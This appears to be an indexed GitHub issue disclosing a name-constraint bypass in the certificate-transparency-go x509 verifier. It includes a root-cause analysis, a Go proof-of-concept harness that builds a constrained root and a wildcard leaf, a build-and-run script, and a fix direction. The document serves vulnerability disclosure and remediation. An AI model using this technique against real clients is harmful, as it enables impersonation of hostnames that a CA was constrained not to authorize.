google / google/certificate-transparency-go
CT-Go x509 wildcard SAN excluded nameConstraints bypass
- Dominant language
- Go
- Stars
- 1.2k
- Forks
- 322
- Avg merge
- 3d 4h
- Merged PRs (30d)
- 5
Description
## Summary
The `github.com/google/certificate-transparency-go/x509` verifier accepts a certificate chain for a concrete DNS name that the trusted issuer explicitly excludes when the leaf reaches that name through a wildcard SAN. In the affected path, `Certificate.Verify` accepts `*.example.com` for `foo.example.com`, but issuer name constraints are later checked against the literal SAN string rather than the concrete peer name, so a constrained CA can authorize a hostname outside its permitted scope. We first reported this to google issues, but was told to open a public issue on this matter.
## Affected
- Pinned ref: 58b0813ac24dc59a4e6509afe2b73d31d64439a1
## Root cause
`Certificate.Verify` takes the caller-supplied `VerifyOptions.DNSName` and, when it is non-empty, validates it before chain construction by calling `VerifyHostname` at `x509/verify.go:774`. `VerifyHostname` then iterates the leaf's `DNSNames` and returns success when `matchHostnames` accepts the literal SAN pattern, so `*.example.com` can satisfy the requested host `foo.example.com` at `x509/verify.go:1039` and `x509/verify.go:1040`. After hostname acceptance, `Verify` builds candidate chains at `x509/verify.go:785`, and `buildChains` validates each issuer candidate through `isValid` at `x509/verify.go:858`. Issuer name-constraint checks are enabled by default for constrained roots and intermediates at `x509/verify.go:616`; because the leaf has a SAN extension, the code iterates the leaf SAN entries at `x509/verify.go:624`, enters the DNS branch at `x509/verify.go:641`, and passes the SAN string itself as both display value and parsed DNS name into `checkNameConstraints` at `x509/verify.go:647`. The final DNS constraint comparison is therefore between the literal wildcard domain `*.example.com` and the excluded constraint `foo.example.com`; `matchDomainConstraint` parses and compares those labels at `x509/verify.go:466`, so the concrete host accepted by wildcard matching is never rechecked against the issuer's excluded DNS constraint.
## Reproduction
PoC
`harness.go`
```go
package main
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"fmt"
"math/big"
"os"
"time"
ctx509 "github.com/google/certificate-transparency-go/x509"
"github.com/google/certificate-transparency-go/x509/pkix"
)
func mustKey() *ecdsa.PrivateKey {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
panic(err)
}
return key
}
func mustCert(template, parent *ctx509.Certificate, pub any, signer any) *ctx509.Certificate {
der, err := ctx509.CreateCertificate(rand.Reader, template, parent, pub, signer)
if err != nil {
panic(err)
}
cert, err := ctx509.ParseCertificate(der)
if err != nil {
panic(err)
}
return cert
}
func main() {
now := time.Date(2026, time.January, 1, 0, 0, 0, 0, time.UTC)
rootKey := mustKey()
leafKey := mustKey()
rootTemplate := &ctx509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "excluded-name-constraint-root"},
NotBefore: now.Add(-time.Hour),
NotAfter: now.Add(time.Hour),
KeyUsage: ctx509.KeyUsageCertSign | ctx509.KeyUsageDigitalSignature,
BasicConstraintsValid: true,
IsCA: true,
ExcludedDNSDomains: []string{"foo.example.com"},
PermittedDNSDomainsCritical: true,
}
root := mustCert(rootTemplate, rootTemplate, &rootKey.PublicKey, rootKey)
leafTemplate := &ctx509.Certificate{
SerialNumber: big.NewInt(2),
Subject: pkix.Name{CommonName: "wildcard-leaf"},
NotBefore: now.Add(-time.Hour),
NotAfter: now.Add(time.Hour),
KeyUsage: ctx509.KeyUsageDigitalSignature,
ExtKeyUsage: []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
DNSNames: []string{"*.example.com"},
}
leaf := mustCert(leafTemplate, root, &leafKey.PublicKey, rootKey)
roots := ctx509.NewCertPool()
roots.AddCert(root)
chains, err := leaf.Verify(ctx509.VerifyOptions{
DNSName: "foo.example.com",
Roots: roots,
CurrentTime: now,
KeyUsages: []ctx509.ExtKeyUsage{ctx509.ExtKeyUsageServerAuth},
})
if err == nil && len(chains) > 0 {
fmt.Println("CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com")
return
}
fmt.Fprintf(os.Stderr, "expected vulnerable verification success, got err=%v chains=%d\n", err, len(chains))
os.Exit(1)
}
```
`run.sh`
```sh
set -euo pipefail
script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source_dir="$script_dir/source"
UPSTREAM_REPO_URL="https://github.com/google/certificate-transparency-go"
UPSTREAM_PINNED_SHA="58b0813ac24dc59a4e6509afe2b73d31d64439a1"
_silent() {
local label="$1"; shift
local log="$script_dir/.${label}.log"
if ! "$@" > "$log" 2>&1; then
echo "[run.sh] $label failed; log follows:" >&2
cat "$log" >&2
return 1
fi
}
setup() {
if [[ -d "$source_dir/.git" ]] \
&& [[ "$(git -C "$source_dir" rev-parse HEAD 2>/dev/null)" == "$UPSTREAM_PINNED_SHA" ]]; then
echo "[run.sh] reusing existing $source_dir at $UPSTREAM_PINNED_SHA"
return 0
fi
_setup_inner() {
rm -rf "$source_dir"
mkdir -p "$source_dir"
cd "$source_dir"
git init -q
git remote add origin "$UPSTREAM_REPO_URL"
if git fetch --depth 1 origin "$UPSTREAM_PINNED_SHA" -q 2>/dev/null; then
git checkout -q FETCH_HEAD
else
cd "$script_dir"
rm -rf "$source_dir"
git clone -q "$UPSTREAM_REPO_URL" "$source_dir"
git -C "$source_dir" checkout -q "$UPSTREAM_PINNED_SHA"
fi
local head
head="$(git -C "$source_dir" rev-parse HEAD)"
if [[ "$head" != "$UPSTREAM_PINNED_SHA" ]]; then
echo "setup: HEAD=$head but expected $UPSTREAM_PINNED_SHA" >&2
exit 1
fi
}
_silent setup _setup_inner
echo "[run.sh] reproducing against $UPSTREAM_REPO_URL @ $UPSTREAM_PINNED_SHA"
}
build() {
_silent build bash -c '
set -euo pipefail
source_dir="$1"
script_dir="$2"
build_dir="$script_dir/build-scratch"
if [[ -d "$build_dir" ]]; then
chmod -R u+w "$build_dir"
fi
rm -rf "$build_dir"
mkdir -p "$build_dir/cmd/poc"
cp -R "$source_dir/asn1" "$source_dir/tls" "$source_dir/x509" "$build_dir/"
cp -R "$script_dir/inputs/xcrypto" "$build_dir/xcrypto"
cp "$script_dir/harness.go" "$build_dir/cmd/poc/main.go"
cat > "$build_dir/go.mod" < ./xcrypto
EOF
cd "$build_dir"
GOTOOLCHAIN=local GOWORK=off go build -mod=mod -o "$script_dir/poc-bin" ./cmd/poc
' bash "$source_dir" "$script_dir"
}
trigger() {
_silent run "$script_dir/poc-bin"
grep -F "CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com" "$script_dir/.run.log" \
|| { echo "no reproduction proof in run output" >&2; exit 1; }
}
cmd="${1:-all}"
case "$cmd" in
setup) setup ;;
build) setup; build ;;
trigger|all|"") setup; build; trigger ;;
*)
echo "usage: $0 {setup|build|trigger|all}" >&2
exit 2
;;
esac
```
run with
```text
./run.sh
```
expected:
```text
CTGO-WILDCARD-NAMECONSTRAINTS-BYPASS: Verify accepted wildcard SAN *.example.com for excluded DNS foo.example.com
```
This line is printed only when `Certificate.Verify` returns a non-empty valid chain for `DNSName: "foo.example.com"` under a trusted root whose `ExcludedDNSDomains` contains that same concrete host. A setup or build failure, or a verification rejection without this fingerprint, is not this bug firing.
## Impact
The attacker model is a remote unauthenticated network peer that can present an attacker-controlled X.509 server certificate chain to a client application using `certificate-transparency-go/x509.Certificate.Verify` for TLS-style DNS identity checks. The deployment must trust a CA certificate carrying an excluded DNS name constraint for the target host, the attacker must present an otherwise valid wildcard leaf from that constrained CA, and the application must pass the intended peer name in `VerifyOptions.DNSName` without disabling name-constraint checks. Under those conditions, the verifier accepts a chain for a hostname the issuer was explicitly constrained not to authorize, which can let the peer impersonate that excluded DNS name to the application. The verified impact is a validator contract violation with low confidentiality and integrity impact in the audited CVSS assessment, because the local PoC proves acceptance by the verifier but does not exercise a full TLS session or application-level data flow.
*Reported by Team Atlanta.*
Contributor guide
Research direction
Run ./run.sh against the pinned ref to reproduce the acceptance, then read x509/verify.go around Verify, VerifyHostname, isValid, checkNameConstraints, and matchDomainConstraint. Done means the supplied harness no longer reports acceptance for foo.example.com when the trusted root excludes that name, while normal wildcard verification remains covered by the existing tests.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- go
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 55/100